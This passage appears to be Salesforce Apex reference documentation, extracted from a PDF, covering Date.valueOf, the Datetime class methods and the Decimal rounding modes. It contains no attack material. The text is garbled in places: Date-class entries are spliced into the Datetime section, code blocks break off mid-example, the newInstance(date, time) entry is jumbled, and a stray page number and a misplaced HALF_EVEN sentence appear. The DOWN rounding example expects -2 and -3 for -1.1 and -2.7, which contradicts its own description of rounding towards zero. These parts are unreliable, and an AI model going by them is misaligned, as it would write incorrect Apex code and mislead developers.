The specified string should use the standard date format "yyyy-MM-dd HH:mm:ss" in the local time zone.

**Example**

```java
string year = '2008';
string month = '10';
string day = '5';
string hour = '12';
string minute = '20';
string second = '20';
```
string stringDate = year + '-' + month + '-' + day + ' ' + hour + ':' + minute + ':' + second;

Date myDate = date.valueOf(stringDate);

valueOf(fieldValue)

Converts the specified object to a Date. Use this method to convert a history tracking field value or an object that represents a Date value.

Signature

public static Date valueOf(Object fieldValue)

Parameters

fieldValue

Type: Object

Return Value

Type: Date

Usage

Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field is a Date field.

Note: In API version 33.0 or earlier, if you call Date.valueOf with an object that represents a Datetime, the method returns a Date value that contains the hours, minutes, and seconds. In version 34.0 and later, Date.valueOf converts the object to a valid Date without the time information. To convert a variable of type Datetime to a Date, use the Datetime.date method.

Example

This example converts history tracking fields to Date values.

```java
List<AccountHistory> ahlist = [SELECT Field,OldValue,NewValue FROM AccountHistory];
for(AccountHistory ah : ahlist) {
    System.debug('Field: ' + ah.Field);
    if (ah.field == 'MyDate__c') {
        Date oldValue = Date.valueOf(ah.OldValue);
        Date newValue = Date.valueOf(ah.NewValue);
    }
}
```

year()

Returns the year component of a Date
### Datetime Class

Contains methods for the Datetime primitive data type.

### Namespace

**System**

### Usage

For more information about the Datetime, see [Primitive Data Types](#) on page 27.

### Datetime Methods

The following are methods for `Datetime`.

**IN THIS SECTION:**

- `addDays(additionalDays)`
  Adds the specified number of days to a Datetime.
- `addHours(additionalHours)`
  Adds the specified number of hours to a Datetime.
- `addMinutes(additionalMinutes)`
  Adds the specified number of minutes to a Datetime.
- `addMonths(additionalMonths)`
  Adds the specified number of months to a Datetime.
- `addSeconds(additionalSeconds)`
  Adds the specified number of seconds to a Datetime.
- `addYears(additionalYears)`
  Adds the specified number of years to a Datetime.
- `date()`
  Returns the Date component of a Datetime in the local time zone of the context user.

---

**Signature**

```java
public Integer year()
```

**Return Value**

Type: `Integer`

**Example**

```java
date myDate = date.newInstance(1988, 12, 17);
system.assertEquals(1988, myDate.year());
```
`dateGMT()`
Return the Date component of a Datetime in the GMT time zone.

`day()`
Returns the day-of-month component of a Datetime in the local time zone of the context user.

`dayGmt()`
Returns the day-of-month component of a Datetime in the GMT time zone.

`dayOfYear()`
Returns the day-of-year component of a Datetime in the local time zone of the context user.

`dayOfYearGmt()`
Returns the day-of-year component of a Datetime in the GMT time zone.

`format()`
Converts the date to the local time zone and returns the converted date as a formatted string using the locale of the context user. If the time zone cannot be determined, GMT is used.

`format(dateFormatString)`
Converts the date to the local time zone and returns the converted date as a string using the supplied Java simple date format. If the time zone cannot be determined, GMT is used.

`format(dateFormatString, timezone)`
Converts the date to the specified time zone and returns the converted date as a string using the supplied Java simple date format. If the supplied time zone is not in the correct format, GMT is used.

`formatGmt(dateFormatString)`
Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.

`formatLong()`
Converts the date to the local time zone and returns the converted date in long date format.

`getTime()`
Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.

`hour()`
Returns the hour component of a Datetime in the local time zone of the context user.

`hourGmt()`
Returns the hour component of a Datetime in the GMT time zone.

`isSameDay(dateToCompare)`
Returns true if the Datetime that called the method is the same as the specified Datetime in the local time zone of the context user.

`millisecond()`
Return the millisecond component of a Datetime in the local time zone of the context user.

`millisecondGmt()`
Return the millisecond component of a Datetime in the GMT time zone.

`minute()`
Returns the minute component of a Datetime in the local time zone of the context user.

`minuteGmt()`
Returns the minute component of a Datetime in the GMT time zone.

`month()`
Returns the month component of a Datetime in the local time zone of the context user (1=Jan).
monthGmt()
Returns the month component of a Datetime in the GMT time zone (1=Jan).

newInstance(milliseconds)
Constructs a Datetime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT.

newInstance(date, time)
Constructs a DateTime from the specified date and time in the local time zone.

newInstance(year, month, day)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the local time zone.

newInstance(year, month, day, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the local time zone.

newInstanceGmt(date, time)
Constructs a DateTime from the specified date and time in the GMT time zone.

newInstanceGmt(year, month, date)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the GMT time zone.

newInstanceGmt(year, month, date, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the GMT time zone.

now()
Returns the current Datetime based on a GMT calendar.

parse(datetimeString)
Constructs a Datetime from the given String in the local time zone and in the format of the user locale.

second()
Returns the second component of a Datetime in the local time zone of the context user.

secondGmt()
Returns the second component of a Datetime in the GMT time zone.

time()
Returns the time component of a Datetime in the local time zone of the context user.

timeGmt()
Returns the time component of a Datetime in the GMT time zone.

valueOf(dateTimeString)
Returns a Datetime that contains the value of the specified string.

valueOf(fieldValue)
Converts the specified object to a Datetime. Use this method to convert a history tracking field value or an object that represents a Datetime value.

valueOfGmt(dateTimeString)
Returns a Datetime that contains the value of the specified String.

year()
Returns the year component of a Datetime in the local time zone of the context user.

yearGmt()
Returns the year component of a Datetime in the GMT time zone.
addDays (additionalDays)
Add the specified number of days to a Datetime.

Signature
public Datetime addDays(Integer additionalDays)

Parameters
additionalDays
Type: Integer

Return Value
Type: Datetime

Example
```
Datetime myDateTime = Datetime.newInstance(1960, 2, 17);
Datetime newDateTime = myDateTime.addDays(2);
Datetime expected = Datetime.newInstance(1960, 2, 19);
System.assertEquals(expected, newDateTime);
```

addHours (additionalHours)
Add the specified number of hours to a Datetime.

Signature
public Datetime addHours(Integer additionalHours)

Parameters
additionalHours
Type: Integer

Return Value
Type: Datetime

Example
```
DateTime myDateTime = DateTime.newInstance(1997, 1, 31, 7, 8, 16);
DateTime newDateTime = myDateTime.addHours(3);
DateTime expected = DateTime.newInstance(1997, 1, 31, 10, 8, 16);
System.assertEquals(expected, newDateTime);
```

addMinutes (additionalMinutes)
Add the specified number of minutes to a Datetime.
**Signature**

```java
public Datetime addMinutes(Integer additionalMinutes)
```

**Parameters**

- `additionalMinutes`
  - Type: `Integer`

**Return Value**

- Type: `Datetime`

**Example**

```java
DateTime myDateTime = DateTime.newInstance(1999, 2, 11, 8, 6, 16);
DateTime newDateTime = myDateTime.addMinutes(7);
DateTime expected = DateTime.newInstance(1999, 2, 11, 8, 13, 16);
System.assertEquals(expected, newDateTime);
```

---

**addMonths(additionalMonths)**

Adds the specified number of months to a Datetime.

**Signature**

```java
public Datetime addMonths(Integer additionalMonths)
```

**Parameters**

- `additionalMonths`
  - Type: `Integer`

**Return Value**

- Type: `Datetime`

**Example**

```java
DateTime myDateTime = DateTime.newInstance(2000, 7, 7, 7, 8, 12);
DateTime newDateTime = myDateTime.addMonths(1);
DateTime expected = DateTime.newInstance(2000, 8, 7, 7, 8, 12);
System.assertEquals(expected, newDateTime);
```

---

**addSeconds(additionalSeconds)**

Adds the specified number of seconds to a Datetime.

**Signature**

```java
public Datetime addSeconds(Integer additionalSeconds)
```
Parameters

additionalSeconds
Type: Integer

Return Value
Type: Datetime

Example

```java
datetime myDateTime = Datetime.newInstance(2001, 7, 19, 10, 7, 12);
datetime newDateTime = myDateTime.addSeconds(4);
datetime expected = Datetime.newInstance(2001, 7, 19, 10, 7, 16);
System.assertEquals(expected, newDateTime);
```

addYears(additionalYears)

Adds the specified number of years to a Datetime.

Signature

```
public Datetime addYears(Integer additionalYears)
```

Parameters

additionalYears
Type: Integer

Return Value
Type: Datetime

Example

```java
datetime myDateTime = Datetime.newInstance(2009, 12, 17, 13, 6, 6);
datetime newDateTime = myDateTime.addYears(1);
datetime expected = Datetime.newInstance(2010, 12, 17, 13, 6, 6);
System.assertEquals(expected, newDateTime);
```

date()

Returns the Date component of a Datetime in the local time zone of the context user.

Signature

```
public Date date()
```

Return Value
Type: Date
Example

```java
DateTime myDateTime = DateTime.newInstance(2006, 3, 16, 12, 6, 13);
Date myDate = myDateTime.date();
Date expected = Date.newInstance(2006, 3, 16);
System.assertEquals(expected, myDate);
```

dateGMT()

Return the Date component of a Datetime in the GMT time zone.

Signature

```java
public Date dateGMT()
```

Return Value

Type: Date

Example

```java
// California local time, PST
DateTime myDateTime = DateTime.newInstance(2006, 3, 16, 23, 0, 0);
Date myDate = myDateTime.dateGMT();
Date expected = Date.newInstance(2006, 3, 17);
System.assertEquals(expected, myDate);
```

day()

Returns the day-of-month component of a Datetime in the local time zone of the context user.

Signature

```java
public Integer day()
```

Return Value

Type: Integer

Example

```java
DateTime myDateTime = DateTime.newInstance(1986, 2, 21, 23, 0, 0);
System.assertEquals(21, myDateTime.day());
```

dayGmt()

Returns the day-of-month component of a Datetime in the GMT time zone.

Signature

```java
public Integer dayGmt()
```
Return Value
Type: Integer

Example

```
// California local time, PST
DateTime myDateTime = DateTime.newInstance(1987, 1, 14, 23, 0, 3);
System.assertEquals(15, myDateTime.dayGMT());
```

dayOfYear()

Returns the day-of-year component of a Datetime in the local time zone of the context user.

Signature

```
public Integer dayOfYear()
```

Return Value
Type: Integer

Example

For example, February 5, 2008 08:30:12 would be day 36.

```
Datetime myDate = Datetime.newInstance(2008, 2, 5, 8, 30, 12);
System.assertEquals(myDate.dayOfYear(), 36);
```

dayOfYearGmt()

Returns the day-of-year component of a Datetime in the GMT time zone.

Signature

```
public Integer dayOfYearGmt()
```

Return Value
Type: Integer

Example

```
// This sample assumes we are in the PST timezone
DateTime myDateTime = DateTime.newInstance(1999, 2, 5, 23, 0, 3);
// January has 31 days + 5 days in February = 36 days
// dayOfYearGmt() adjusts the time zone from the current time zone to GMT
// by adding 8 hours to the PST time zone, so it's 37 days and not 36 days
System.assertEquals(37, myDateTime.dayOfYearGmt());
```
**format()**
Converts the date to the local time zone and returns the converted date as a formatted string using the locale of the context user. If the time zone cannot be determined, GMT is used.

**Signature**
```
public String format()
```

**Return Value**
Type: String

**Example**
```
DateTime myDateTime = DateTime.newInstance(1993, 6, 6, 3, 3, 3);
System.assertEquals('6/6/1993 3:03 AM', myDateTime.format());
```

**format(dateFormatString)**
Converts the date to the local time zone and returns the converted date as a string using the supplied Java simple date format. If the time zone cannot be determined, GMT is used.

**Signature**
```
public String format(String dateFormatString)
```

**Parameters**
- `dateFormatString`
  Type: String

**Return Value**
Type: String

**Usage**
For more information on the Java simple date format, see Java SimpleDateFormat.

**Example**
```
DateTime myDT = Datetime.now();
String myDate = myDT.format('h:mm a');
```

**format(dateFormatString, timezone)**
Converts the date to the specified time zone and returns the converted date as a string using the supplied Java simple date format. If the supplied time zone is not in the correct format, GMT is used.
Signature

public String format(String dateFormatString, String timezone)

Parameters

dateFormatString
Type: String
timezone
Type: String

Valid time zone values for the timezone argument are the time zones of the Java TimeZone class that correspond to the time zones returned by the TimeZone.getAvailableIDs method in Java. We recommend you use full time zone names, not the three-letter abbreviations.

Return Value

Type: String

Usage

For more information on the Java simple date format, see Java SimpleDateFormat.

Example

This example uses format to convert a GMT date to the America/New_York time zone and formats the date using the specified date format.

```java
Datetime GMTDate = Datetime.newInstanceGmt(2011,6,1,12,1,5);
String strConvertedDate = GMTDate.format('MM/dd/yyyy HH:mm:ss',
    'America/New_York');
// Date is converted to
// the new time zone and is adjusted
// for daylight saving time.
System.assertEquals(  
    '06/01/2011 08:01:05', strConvertedDate);
```

formatGmt(dateFormatString)

Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.

Signature

public String formatGmt(String dateFormatString)

Parameters

dateFormatString
Type: String
Return Value
Type: String

Usage
For more information on the Java simple date format, see Java SimpleDateFormat.

Example
```java
DateTime myDateTime = DateTime.newInstance(1993, 6, 6, 3, 3, 3);
String formatted = myDateTime.formatGMT('EEE, MMM d yyyy HH:mm:ss');
String expected = 'Sun, Jun 6 1993 10:03:03';
System.assertEquals(expected, formatted);
```

formatLong()
Converts the date to the local time zone and returns the converted date in long date format.

Signature
```java
public String formatLong()
```

Return Value
Type: String

Example
```java
// Passing local date based on the PST time zone
Datetime dt = DateTime.newInstance(2012,12,28,10,0,0);
// Writes 12/28/2012 10:00:00 AM PST
System.debug('dt.formatLong()=' + dt.formatLong());
```

getTime()
Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.

Signature
```java
public Long getTime()
```

Return Value
Type: Long

Example
```java
DateTime dt = DateTime.newInstance(2007, 6, 23, 3, 3, 3);
Long gettime = dt.getTime();
```
Long expected = 1182592983000L;
System.assertEquals(expected, gettime);

**hour()**

Returns the hour component of a Datetime in the local time zone of the context user.

**Signature**

```java
public Integer hour()
```

**Return Value**

Type: Integer

**Example**

```java
DateTime myDateTime = DateTime.newInstance(1998, 11, 21, 3, 3, 3);
System.assertEquals(3, myDateTime.hour());
```

**hourGmt()**

Returns the hour component of a Datetime in the GMT time zone.

**Signature**

```java
public Integer hourGmt()
```

**Return Value**

Type: Integer

**Example**

```java
// California local time
DateTime myDateTime = DateTime.newInstance(2000, 4, 27, 3, 3, 3);
System.assertEquals(10, myDateTime.hourGMT());
```

**isSameDay(dateToCompare)**

Returns true if the Datetime that called the method is the same as the specified Datetime in the local time zone of the context user.

**Signature**

```java
public Boolean isSameDay(Datetime dateToCompare)
```

**Parameters**

- **dateToCompare**
  - Type: Datetime
Return Value
Type: Boolean

Example
```java
datetime myDate = datetime.now();
datetime dueDate =
    datetime.newInstance(2008, 1, 30);
boolean dueNow = myDate.isSameDay(dueDate);
```

`millisecond()`
Return the millisecond component of a Datetime in the local time zone of the context user.

Signature
```java
public Integer millisecond()
```

Return Value
Type: Integer

Example
```java
DateTime myDateTime = DateTime.now();
system.debug(myDateTime.millisecond());
```

`millisecondGmt()`
Return the millisecond component of a Datetime in the GMT time zone.

Signature
```java
public Integer millisecondGmt()
```

Return Value
Type: Integer

Example
```java
DateTime myDateTime = DateTime.now();
system.debug(myDateTime.millisecondGMT());
```

`minute()`
Returns the minute component of a Datetime in the local time zone of the context user.
Signature

```java
public Integer minute()
```

Return Value

Type: Integer

Example

```java
DateTime myDateTime = DateTime.newInstance(2001, 2, 27, 3, 3, 3);
system.assertEquals(3, myDateTime.minute());
```

`minuteGmt()`

Returns the minute component of a Datetime in the GMT time zone.

Signature

```java
public Integer minuteGmt()
```

Return Value

Type: Integer

Example

```java
DateTime myDateTime = DateTime.newInstance(2002, 12, 3, 3, 3, 3);
system.assertEquals(3, myDateTime.minuteGMT());
```

`month()`

Returns the month component of a Datetime in the local time zone of the context user (1=Jan).

Signature

```java
public Integer month()
```

Return Value

Type: Integer

Example

```java
DateTime myDateTime = DateTime.newInstance(2004, 11, 4, 3, 3, 3);
system.assertEquals(11, myDateTime.month());
```

`monthGmt()`

Returns the month component of a Datetime in the GMT time zone (1=Jan).
Signature

```java
public Integer monthGmt()
```

Return Value

Type: Integer

Example

```java
DateTime myDateTime = DateTime.newInstance(2006, 11, 19, 3, 3, 3);
assert.assertEquals(11, myDateTime.monthGMT());
```

`newInstance(milliseconds)`

Constructs a Datetime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT.

Signature

```java
public static Datetime newInstance(Long milliseconds)
```

Parameters

milliseconds

Type: Long

Return Value

Type: Datetime

The returned date is in the GMT time zone.

Example

```java
Long longtime = 1341828183000L;
DateTime dt = DateTime.newInstance(longtime);
DateTime expected = DateTime.newInstance(2012, 7, 09, 3, 3, 3);
assert.assertEquals(expected, dt);
```

`newInstance(date, time)`

Constructs a DateTime from the specified date and time in the local time zone.

Signature

```java
public static Datetime newInstance(Date date, Time time)
```

Parameters

- date
  - Type: Date

Example

```java
newInstance(date, time)
```

Constructs a Date from the specified date and time in the local time zone.
DateTime Class

Example

```java
Date myDate = Date.newInstance(2011, 11, 18);
Time myTime = Time.newInstance(3, 3, 3, 0);
DateTime dt = DateTime.newInstance(myDate, myTime);
DateTime expected = DateTime.newInstance(2011, 11, 18, 3, 3, 3);
System.assertEquals(expected, dt);
```

newInstance(year, month, day)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the local time zone.

Signature

```java
public static Datetime newInstance(Integer year, Integer month, Integer day)
```

Parameters

- `year`
  Type: `Integer`

- `month`
  Type: `Integer`

- `day`
  Type: `Integer`

Return Value

Type: `Datetime`

The returned date is in the GMT time zone.

Example

```java
datetime myDate = datetime.newInstance(2008, 12, 1);
```

newInstance(year, month, day, hour, minute, second)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the local time zone.
Signature

```java
public static Datetime newInstance(Integer year, Integer month, Integer day, Integer hour, Integer minute, Integer second)
```

**Parameters**

- `year`
  - Type: `Integer`
- `month`
  - Type: `Integer`
- `day`
  - Type: `Integer`
- `hour`
  - Type: `Integer`
- `minute`
  - Type: `Integer`
- `second`
  - Type: `Integer`

**Return Value**

Type: `Datetime`

The returned date is in the GMT time zone.

**Example**

```java
Datetime myDate = Datetime.newInstance(2008, 12, 1, 12, 30, 2);
```

`newInstanceGmt(date, time)`

Constructs a `DateTime` from the specified date and time in the GMT time zone.

**Signature**

```java
public static Datetime newInstanceGmt(Date date, Time time)
```

**Parameters**

- `date`
  - Type: `Date`
- `time`
  - Type: `Time`

**Return Value**

Type: `Datetime`
Example

```java
Date myDate = Date.newInstance(2013, 11, 12);
Time myTime = Time.newInstance(3, 3, 3, 0);
DateTime dt = DateTime.newInstanceGMT(myDate, myTime);
DateTime expected = DateTime.newInstanceGMT(2013, 11, 12, 3, 3, 3);
System.assertEquals(expected, dt);
```

`newInstanceGmt(year, month, date)`

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the GMT time zone

**Signature**

```java
public static Datetime newInstanceGmt(Integer year, Integer month, Integer date)
```

**Parameters**

- `year`
  - Type: `Integer`
- `month`
  - Type: `Integer`
- `date`
  - Type: `Integer`

**Return Value**

Type: `Datetime`

**Example**

```java
DateTime dt = DateTime.newInstanceGMT(1996, 3, 22);
```

`newInstanceGmt(year, month, date, hour, minute, second)`

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the GMT time zone

**Signature**

```java
public static Datetime newInstanceGmt(Integer year, Integer month, Integer date, Integer hour, Integer minute, Integer second)
```

**Parameters**

- `year`
  - Type: `Integer`
- `month`
  - Type: `Integer`
date
    Type: Integer
hour
    Type: Integer
minute
    Type: Integer
second
    Type: Integer

Return Value
Type: Datetime

Example

```java
//California local time
datetime dt = DateTime.newInstanceGMT(1998, 1, 29, 2, 2, 3);
datetime expected = DateTime.newInstance(1998, 1, 28, 18, 2, 3);
System.assertEquals(expected, dt);
```

```
now()
```
Returns the current Datetime based on a GMT calendar.

Signature

```
public static Datetime now()
```

Return Value
Type: Datetime

The format of the returned datetime is: 'MM/DD/YYYY HH:MM PERIOD'

Example

```java
datetime myDateTime = datetime.now();
```

```
parse(String datetimeString)
```
Constructs a Datetime from the given String in the local time zone and in the format of the user locale.

Signature

```
public static Datetime parse(String datetimeString)
```
Parameters

datetimeString
Type: String

Return Value
Type: Datetime
The returned date is in the GMT time zone.

Example
This example uses parse to create a Datetime from a date passed in as a string and that is formatted for the English (United States) locale. You may need to change the format of the date string if you have a different locale.

```java
Datetime dt = DateTime.parse('10/14/2011 11:46 AM');
String myDtString = dt.format();
system.assertEquals(myDtString, '10/14/2011 11:46 AM');
```

second()
Returns the second component of a Datetime in the local time zone of the context user.

Signature
public Integer second()

Return Value
Type: Integer

Example

```java
DateTime dt = DateTime.newInstanceGMT(1999, 9, 22, 3, 1, 2);
System.assertEquals(2, dt.second());
```

secondGmt()
Returns the second component of a Datetime in the GMT time zone.

Signature
public Integer secondGmt()

Return Value
Type: Integer
DateTime dt = DateTime.newInstance(2000, 2, 3, 3, 1, 5);
System.assertEquals(5, dt.secondGMT());

**time()**

Returns the time component of a Datetime in the local time zone of the context user.

**Signature**

```
public Time time()
```

**Return Value**

Type: `Time`

**Example**

```
DateTime dt = DateTime.newInstance(2002, 11, 21, 0, 2, 2);
Time expected = Time.newInstance(0, 2, 2, 0);
System.assertEquals(expected, dt.time());
```

**timeGmt()**

Returns the time component of a Datetime in the GMT time zone.

**Signature**

```
public Time timeGmt()
```

**Return Value**

Type: `Time`

**Example**

```
// This sample is based on the PST time zone
DateTime dt = DateTime.newInstance(2004, 1, 27, 4, 1, 2);
Time expected = Time.newInstance(12, 1, 2, 0);
// 8 hours are added to the time to convert it from
// PST to GMT
System.assertEquals(expected, dt.timeGMT());
```

**valueOf(dateTimeString)**

Returns a Datetime that contains the value of the specified string.

**Signature**

```
public static Datetime valueOf(String dateTimeString)
```
Parameters

dateTimeString
Type: String

Return Value

Type: Datetime
The returned date is in the GMT time zone.

Usage

The specified string should use the standard date format "yyyy-MM-dd HH:mm:ss" in the local time zone.

Example

```java
string year = '2008';
string month = '10';
string day = '5';
string hour = '12';
string minute = '20';
string second = '20';
string stringDate = year + '-' + month + '-' + day + ' ' + hour + ':' + minute + ':' + second;

Datetime myDate = Datetime.valueOf(stringDate);
```

valueOf(fieldValue)
Converts the specified object to a Datetime. Use this method to convert a history tracking field value or an object that represents a Datetime value.

Signature

```java
public static Datetime valueOf(Object fieldValue)
```

Parameters

fieldValue
Type: Object

Return Value

Type: Datetime

Usage

Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field is a Date/Time field.
Example

```java
List<AccountHistory> ahlist = [SELECT Field, OldValue, NewValue FROM AccountHistory];
for (AccountHistory ah : ahlist) {
    System.debug('Field: ' + ah.Field);
    if (ah.field == 'MyDatetime__c') {
       Datetime oldValue = Datetime.valueOf(ah.OldValue);
       Datetime newValue = Datetime.valueOf(ah.NewValue);
    }
}
```

`valueOfGmt(String dateTimeString)`

Returns a Datetime that contains the value of the specified String.

**Signature**

```java
public static Datetime valueOfGmt(String dateTimeString)
```

**Parameters**

- `dateTimeString`
  - Type: `String`

**Return Value**

- Type: `Datetime`

**Usage**

The specified string should use the standard date format "yyyy-MM-dd HH:mm:ss" in the GMT time zone.

**Example**

```java
// California locale time
String year = '2009';
String month = '3';
String day = '5';
String hour = '5';
String minute = '2';
String second = '2';
String stringDate = year + '-' + month + '-' + day + ' ' + hour + ':'
    + minute + ':' + second;

Datetime myDate = Datetime.valueOfGmt(stringDate);

DateTime expected = DateTime.newInstance(2009, 3, 4, 21, 2, 2);
System.assertEquals(expected, myDate);
```

`year()`

Returns the year component of a Datetime in the local time zone of the context user.
Signature

public Integer year()

Return Value

Type: Integer

Example

```java
DateTime dt = DateTime.newInstance(2012, 1, 26, 5, 2, 4);
System.assertEquals(2012, dt.year());
```

`yearGmt()`

Returns the year component of a Datetime in the GMT time zone.

Signature

public Integer yearGmt()

Return Value

Type: Integer

Example

```java
DateTime dt = DateTime.newInstance(2012, 10, 4, 6, 4, 6);
System.assertEquals(2012, dt.yearGMT());
```

Decimal Class

Contains methods for the Decimal primitive data type.

Namespace

System

Usage

For more information on Decimal, see Primitive Data Types on page 27.

IN THIS SECTION:

Rounding Mode

Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision.

Decimal Methods
### Rounding Mode

Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision.

Each rounding mode indicates how the least significant returned digit of a rounded result is to be calculated. The following are the valid values for `roundingMode`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CEILING</td>
<td>Rounds towards positive infinity. That is, if the result is positive, this mode behaves the same as the <strong>UP</strong> rounding mode; if the result is negative, it behaves the same as the <strong>DOWN</strong> rounding mode. Note that this rounding mode never decreases the calculated value. For example:</td>
</tr>
<tr>
<td>DOWN</td>
<td>Rounds towards zero. This rounding mode always discards any fractions (decimal points) prior to executing. Note that this rounding mode never increases the magnitude of the calculated value. For example:</td>
</tr>
<tr>
<td>FLOOR</td>
<td>Rounds towards negative infinity. That is, if the result is positive, this mode behaves the same as the <strong>DOWN</strong> rounding mode; if negative, this mode behaves the same as the <strong>UP</strong> rounding mode. Note that this rounding mode never increases the calculated value. For example:</td>
</tr>
</tbody>
</table>

```java
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 2, -1, -2};
for(integer x = 0; x < example.size(); x++){
    System.assertEquals(expected[x], example[x].round(System.RoundingMode.CEILING));
}
```

```java
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -2, -3};
for(integer x = 0; x < example.size(); x++){
    System.assertEquals(expected[x], example[x].round(System.RoundingMode.DOWN));
}
```

```java
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{5, 1, -2, -3};
for(integer x = 0; x < example.size(); x++){
    System.assertEquals(expected[x], example[x].round(System.RoundingMode.FLOOR));
}
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>HALF_DOWN</strong></td>
<td>Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case this mode rounds down. This rounding mode behaves the same as the UP rounding mode if the discarded fraction (decimal point) is &gt; 0.5; otherwise, it behaves the same as DOWN rounding mode. For example:</td>
</tr>
</tbody>
</table>
|               | • Input number 5.5: HALF_DOWN round mode result: 5  
|               | • Input number 1.1: HALF_DOWN round mode result: 1  
|               | • Input number -1.1: HALF_DOWN round mode result: -1  
|               | • Input number -2.7: HALF_DOWN round mode result: -3  
|               | Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};  
|               | Long[] expected = new Long[]{5, 1, -1, -3};  
|               | for(integer x = 0; x < example.size(); x++){  
|               | System.assertEquals(expected[x],  
|               | example[x].round(System.RoundingMode.HALF_DOWN));  
|               | }                                                                                                                                                                                                       |
| **HALF_EVEN** | Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. This rounding mode behaves the same as the HALF_UP rounding mode if the digit to the left of the discarded fraction (decimal point) is odd. It behaves the same as the HALF_DOWN rounding method if it is even. For example: |
|               | • Input number 5.5: HALF_EVEN round mode result: 6  
|               | • Input number 1.1: HALF_EVEN round mode result: 1  
|               | • Input number -1.1: HALF_EVEN round mode result: -1  
|               | • Input number -2.7: HALF_EVEN round mode result: -3  
|               | Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};  
|               | Long[] expected = new Long[]{6, 1, -1, -3};  
|               | for(integer x = 0; x < example.size(); x++){  
|               | System.assertEquals(expected[x],  
|               | example[x].round(System.RoundingMode.HALF_EVEN));  
|               | }                                                                                                                                                                                                       |
| **HALF_UP**   | Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds up. This rounding method behaves the same as the UP rounding method if the discarded fraction (decimal point) is >= 0.5; otherwise, this rounding method behaves the same as the DOWN rounding method. For example: |
|               | • Input number 5.5: HALF_UP round mode result: 6  
|               | • Input number 1.1: HALF_UP round mode result: 1  
|               | • Input number -1.1: HALF_UP round mode result: -1  

Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.
### Description

- **Input number -2.7**: HALF_UP round mode result: -3

```java
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 1, -1, -3};
for (integer x = 0; x < example.size(); x++) {
    System.assertEquals(expected[x],
                        example[x].round(System.RoundingMode.HALF_UP));
}
```

### UNNECESSARY

Asserts that the requested operation has an exact result, which means that no rounding is necessary. If this rounding mode is specified on an operation that yields an inexact result, a MathException is thrown. For example:

- **Input number 5.5**: UNNECESSARY round mode result: MathException
- **Input number 1.1**: UNNECESSARY round mode result: MathException
- **Input number 1.0**: UNNECESSARY round mode result: 1
- **Input number -1.0**: UNNECESSARY round mode result: -1
- **Input number -2.2**: UNNECESSARY round mode result: MathException

```java
Decimal example1 = 5.5;
Decimal example2 = 1.0;
    system.assertEquals(1,
                        example2.round(System.RoundingMode.UNNECESSARY));
try{
    example1.round(System.RoundingMode.UNNECESSARY);
} catch(Exception E) {
    system.assertEquals("System.MathException", E.getTypeName());
}
```

### UP

Rounds away from zero. This rounding mode always truncates any fractions (decimal points) prior to executing. Note that this rounding mode never decreases the magnitude of the calculated value. For example:

- **Input number 5.5**: UP round mode result: 6
- **Input number 1.1**: UP round mode result: 2
- **Input number -1.1**: UP round mode result: -2
- **Input number -2.7**: UP round mode result: -3

```java
Decimal[] example = new Decimal[]{5.5, 1.1, -1.1, -2.7};
Long[] expected = new Long[]{6, 2, -2, -3};
for (integer x = 0; x < example.size(); x++) {
    System.assertEquals(expected[x],
                        example[x].round(System.RoundingMode.UP));
}
```

### Decimal Methods

The following are methods for `Decimal`.  

1938
IN THIS SECTION:

abs()
Returns the absolute value of the Decimal.

divide(divisor, scale)
Divides this Decimal by the specified divisor, and sets the scale, that is, the number of decimal places, of the result using the specified scale.

divide(divisor, scale, roundingMode)
Divides this Decimal by the specified divisor, sets the scale, that is, the number of decimal places, of the result using the specified scale, and if necessary, rounds the value using the rounding mode.

doubleValue()
Returns the Double value of this Decimal.

format()
Returns the String value of this Decimal using the locale of the context user.

intValue()
Returns the Integer value of this Decimal.

longValue()
Returns the Long value of this Decimal.

pow(exponent)
Returns the value of this decimal raised to the power of the specified exponent.

precision()
Returns the total number of digits for the Decimal.

round()
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

round(roundingMode)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode specified by the rounding mode.

scale()
Returns the scale of the Decimal, that is, the number of decimal places.

setScale(scale)
Sets the scale of the Decimal to the specified number of decimal places, using half-even rounding, if necessary. Half-even rounding mode rounds toward the “nearest neighbor.” If both neighbors are equidistant, the number is rounded toward the even neighbor.

